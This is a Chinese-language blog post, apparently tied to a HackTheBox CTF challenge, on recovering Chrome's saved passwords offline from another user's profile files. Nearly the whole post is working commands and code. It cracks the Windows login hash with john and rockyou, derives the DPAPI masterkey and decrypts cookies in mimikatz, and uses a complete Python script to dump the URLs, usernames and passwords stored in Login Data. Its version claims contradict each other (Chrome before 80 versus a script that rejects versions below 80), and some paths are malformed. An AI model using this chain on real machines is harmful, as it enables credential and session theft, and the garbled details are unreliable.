通过Chrome配置文件离线还原账号密码

前提是有以下三个文件,并且Chrome版本是80.X版本之前:

  • Local State(存储加密过的AES密钥)
  • Login Data(存储网站保存的账号、加密过的密码)
  • masterkey file(存储masterkey)
对应默认目录:
%APPDATA%\Local\Google\Chrome\User Data\Default\Login Data
%APPDATA%\Local\Google\Chrome\User Data\Local State
%APPDATA%\Roaming\Microsoft\Protect{sid}}\

补充描述:

  • DPAPI
Data Protection API,是Windows提供的用于数据保护的一套接口。
这个接口在windows中大量的使用来加密数据
  • DPAPI blob
一段密文,可使用Master Key对其解密
  • masterkey
64字节,用于解密DPAPI blob
通过用户登录密码、SID和16字节随机数加密后保存在masterkey file中
  • masterkey file
二进制文件,位于%APPDATA%\Microsoft\Protect\%SID%,
属于系统隐藏文件,可使用用户登录密码对其解密,获得Master Key

Chrome使用GCM模式的AES算法,利用DPAPI的CryptProtectData函数,并配合当前用户的密码保护数据——因此只有具有与加密数据用户的登录凭据匹配的用户才能解密数据(也就是需要masterkey),单单利用CryptUnprotectData函数只能解密本机的Chrome密码。

那么当我们解的不是本机的Chrome密码,只有Chrome配置文件没有对应masterkey应该怎么还原密码呢?

方法如下:

Step1、用DPAPImk2john.py提取用户的 hash 值

python DPAPImk2john.py --sid="S-1-5-21-440314382-4097440215-1133304494-1002" --masterkey="S-1-5-21-440314382-4097440215-1133304494-1002/4b730283-9406-461f-ac8d-689738b97400" --context="local" > hash.txt

step2、在 kali 使用 john 的 rockyou 字典爆破密码

john hash.txt -wordlist=/usr/share/wordlists/rockyou.txt

得到用户密码:breakers

step3、在 mimikatz 利用用户密码获取 masterkey

dpapi::masterkey /in:S-1-5-21-440314382-4097440215-1133304494-1002/4b730283-9406-461f-ac8d-689738b97400 /sid:S-1-5-21-440314382-4097440215-1133304494-1002 /password:breakers /protected

PS:如果还有 Cookies 文件,此时可以直接用 masterkey 解

dpapi::chrome /in:"Cookies" /unprotect /masterkey:7a4d2ffbb42d0a1ab46f0351260aef16cae699e03e9d6514b3bf10e2977c5d228fda4a48e39b7b8a06a443c39653c2a3c3656596e7edc84e1c9682511c8343ac

step4、提取 Login State 中的 DPAPI blob

import json
import base64

fh = open('AppData/Local/Google/Chrome/User Data/Local State', 'rb')
encrypted_key = json.load(fh)

encrypted_key = encrypted_key['os_crypt']['encrypted_key']

decrypted_key = base64.b64decode(encrypted_key)

open("dec_data",'wb').write(decrypted_key[5:])

step5、在 mimikatz 利用 masterkey 解密 DPAPI blob,获得AES密钥

dpapi::blob /masterkey:93fde93933480b9125aa4817730ad96ad5851e5d0b5c11cc70aab4e8b55ca0f426a366e5de5cc8237ec1a5f73b0d5df8c5b11a2c8409df92e2b3d34a9914781d /in:"dec_data" /out:aes.dec

step6、利用AES密钥还原 Chrome 账号密码

import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import csv

def get_secret_key():
    secret_key = open('aes.dec', 'rb').read()
    return secret_key

def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)

def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_password(ciphertext, secret_key):
    try:
        initialisation_vector = ciphertext[3:15]
        encrypted_password = ciphertext[15:-16]
        cipher = generate_cipher(secret_key, initialisation_vector)
        decrypted_pass = decrypt_payload(cipher, encrypted_password)
        decrypted_pass = decrypted_pass.decode()
        return decrypted_pass
    except Exception as e:
        print("%s"%str(e))
        print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
        return ""

def get_db_connection(chrome_path_login_db):
    try:
        return sqlite3.connect(chrome_path_login_db)
    except Exception as e:
        print("%s"%str(e))
        print("[ERR] Chrome database cannot be found")
        return None

if __name__ == '__main__':
    secret_key = get_secret_key()
    # chrome_path_login_db = r"AppData\AppData\Local\Google\Chrome\User Data\Default\Login Data"
    chrome_path_login_db = r"Login Data"
    conn = get_db_connection(chrome_path_login_db)
    if(secret_key and conn):
        cursor = conn.cursor()
        cursor.execute("SELECT action_url, username_value, password_value FROM logins")
        for index,login in enumerate(cursor.fetchall()):
            url = login[0]
            username = login[1]
            ciphertext = login[2]
            # if(url!="" and username!="" and ciphertext!=""):
            decrypted_password = decrypt_password(ciphertext, secret_key)
            print("Sequence: %d"%(index))
            print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
            print("*"*50)
        cursor.close()
        conn.close()
    else:
        print("error1")

得到密码981f4821-2cc4-459e-8528-4b2c111a7b52

PS:也可以在step2得到用户密码后,直接使用chromepass工具直接解密密码

参考文章:

CA CTF 2022: Using pentesting techniques to decrypt Chrome’s passwords - Seized (hackthebox.com)

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%88%A9%E7%94%A8Masterkey%E7%A6%BB%E7%BA%BF%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81

如何仅通过Chrome配置文件离线还原密码 – fushulingのblog

发表回复